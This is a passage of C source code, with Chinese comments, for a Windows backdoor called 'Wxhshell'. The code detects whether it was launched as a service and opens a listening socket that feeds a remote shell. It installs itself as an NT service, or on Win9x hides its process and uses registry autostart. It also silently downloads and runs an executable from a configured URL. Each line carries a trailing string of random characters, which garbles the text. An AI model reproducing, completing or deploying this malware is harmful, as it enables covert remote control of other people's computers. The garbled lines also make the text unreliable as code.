DWORD BasePriority; ,\|W,N}~
ULONG UniqueProcessId; T{iv4`'
ULONG InheritedFromUniqueProcessId; f3+@u2Pv
} PROCESS_BASIC_INFORMATION; >!OD[9
WJ9= hr
PROCNTQSIP NtQueryInformationProcess; ]Xur/C2A
;^Vsd\ac0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "b!EtlT9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TvE M{
_U.D*f<3)
HANDLE hProcess; X;7gh>Q'4
PROCESS_BASIC_INFORMATION pbi; 9ZL3p!
8"4&IX
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gsn3]^X
if(NULL == hInst ) return 0; 5'/Ney9N
;[]{O5TB
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,c@^u6a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Z?en
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8'Z#sM^E
a a=GW%
if (!NtQueryInformationProcess) return 0; ~Cx07I_lf
] ZGP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gRS}Y8
if(!hProcess) return 0; P {x`eD0
bsw0+UY=9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L'LZK
.(OFYK<
CloseHandle(hProcess); kh/n|2
5:%xuJD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7t7"glP
if(hProcess==NULL) return 0; ~ztsR;iL
n0_q-8r
HMODULE hMod; }>I|\Z0I
char procName[255]; :?%$={m
unsigned long cbNeeded; l2"{uCcA
n`Pwo&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yrOWC
7U>Xi'?
CloseHandle(hProcess); )?#*GMWU
U|QLc
if(strstr(procName,"services")) return 1; // 以服务启动 45` i
4}@J]_]Z
return 0; // 注册表启动 E|OB9BOS
} InnjZ>$
jnfktDV'
// 主模块 o$]wd*+
int StartWxhshell(LPSTR lpCmdLine) 7\>P@s
{ EkotVzR5
SOCKET wsl; 2Wwzcvs@
BOOL val=TRUE; F?#^wm5TZ
int port=0; LT7C>b
struct sockaddr_in door; %5#ts/f
.J0s_[
if(wscfg.ws_autoins) Install(); '4-J0S<<_
{cmY`to
port=atoi(lpCmdLine); `}t<5_
Y+vG]?D
if(port<=0) port=wscfg.ws_port; }+/j /es{]
xNlxi
WSADATA data;
WWf#in
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m'{gO9V
E,u/^V9x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %d-|C.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D%[yAr;r
door.sin_family = AF_INET; ^n Gj 7b
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jSi\/(E
door.sin_port = htons(port); HRQ3v`P.
zt&"K0X|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -rg >y!L
closesocket(wsl); >6yA+?[:
return 1; -|F(qf
} 1jHugss9|
{`RCh]W
if(listen(wsl,2) == INVALID_SOCKET) { `Hlv*" w$
closesocket(wsl); $2!|e,x
return 1; :$k];
} ;og[q
Wxhshell(wsl); =:neGqd\_E
WSACleanup(); 1u `{yl*+?
oU|yBs1
return 0; prypo.RI
]lQLA
IQ
} +K2p2Dw(k
_8QHx;}
// 以NT服务方式启动 \US'tF)/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mFk6a{+YX
{ Z'Uc}M'U
DWORD status = 0; 5~ip N/)E
DWORD specificError = 0xfffffff; 6gy;Xg
V1l9T_;f
serviceStatus.dwServiceType = SERVICE_WIN32; b79z<D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; a ]b%v9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {zNFp#z
serviceStatus.dwWin32ExitCode = 0; w^EUBRI-
serviceStatus.dwServiceSpecificExitCode = 0; =6YffXa_s
serviceStatus.dwCheckPoint = 0; ,$oz1,Q/
serviceStatus.dwWaitHint = 0; :qAF}|6
f.e4 C,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AQ<2 "s
if (hServiceStatusHandle==0) return; @Jh;YDr`A
j&y>?Y&Sb
status = GetLastError(); }f;cA
if (status!=NO_ERROR) ^2f2g>9j_C
{ T GuvyY
serviceStatus.dwCurrentState = SERVICE_STOPPED; x2M{=MExE.
serviceStatus.dwCheckPoint = 0; uP.[,V0@^
serviceStatus.dwWaitHint = 0; ]"X} FU
serviceStatus.dwWin32ExitCode = status; .}*_NU
serviceStatus.dwServiceSpecificExitCode = specificError; )4O* D92
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u^X,ASkQ
return; S(NUuu}S
} %CaF-m=Pq
<8sy*A?0z
serviceStatus.dwCurrentState = SERVICE_RUNNING; /4{.J=R}
serviceStatus.dwCheckPoint = 0; (
L ]C
serviceStatus.dwWaitHint = 0; z@tIC^s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oc0z1u
} ) mG
'kE^oX_
// 处理NT服务事件,比如:启动、停止 dt1,!sHn
VOID WINAPI NTServiceHandler(DWORD fdwControl) *#&s+h,^
{ S!{Kn ;@
switch(fdwControl) *<IQ+oat,a
{ wPRs.(]_
case SERVICE_CONTROL_STOP: MU#$tXmnC
serviceStatus.dwWin32ExitCode = 0; noSBwP|v*
serviceStatus.dwCurrentState = SERVICE_STOPPED; >=!$(JgX
serviceStatus.dwCheckPoint = 0; 3`^NaQ
serviceStatus.dwWaitHint = 0; d_!lRQ^N
{ j|c6BdROl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'X]my
} =k|hH~
return; n<3*7/-
case SERVICE_CONTROL_PAUSE: KGq4tlM6
serviceStatus.dwCurrentState = SERVICE_PAUSED; otSF8[
break; *Jm U",X
case SERVICE_CONTROL_CONTINUE: ]Yd7
serviceStatus.dwCurrentState = SERVICE_RUNNING; \[ 5mBuk
break; 5^GFN*poig
case SERVICE_CONTROL_INTERROGATE: :1(UC}v
break; iT}L9\
}; C~([aH@-I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AQe~F
} ].,TSnb
`h+1u`FJ
// 标准应用程序主函数 j9IeqlL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zd]2>h
{ i[M]d`<36
dtT2h>h9
// 获取操作系统版本 9b}AZ]$
OsIsNt=GetOsVer(); !&=%#i
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;N/=)m
`9yR,Xk=l
// 从命令行安装 dS[="Set
if(strpbrk(lpCmdLine,"iI")) Install(); K`d3p{M
]p.eF YDh7
// 下载执行文件 av*M#
if(wscfg.ws_downexe) { *;I F^u1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;"@FLq(n
WinExec(wscfg.ws_filenam,SW_HIDE); I$7TnMug
} =*u:@T=d5
v8L&F9
o
if(!OsIsNt) { @`X-=GCl
// 如果时win9x,隐藏进程并且设置为注册表启动 :i24@V~){
HideProc(); rLm:qu(F1
StartWxhshell(lpCmdLine); P!JRIw
} s`$px2Gw
else fP9k(mQX
if(StartFromService()) `Y`QxU!d%
// 以服务方式启动 #(`@D7S"
StartServiceCtrlDispatcher(DispatchTable); bof{R{3q
else 9g*MBe:
// 普通方式启动 ]GS@ ub
StartWxhshell(lpCmdLine); [-bT_X
>iCkvQ
return 0; v$`AN4)}
}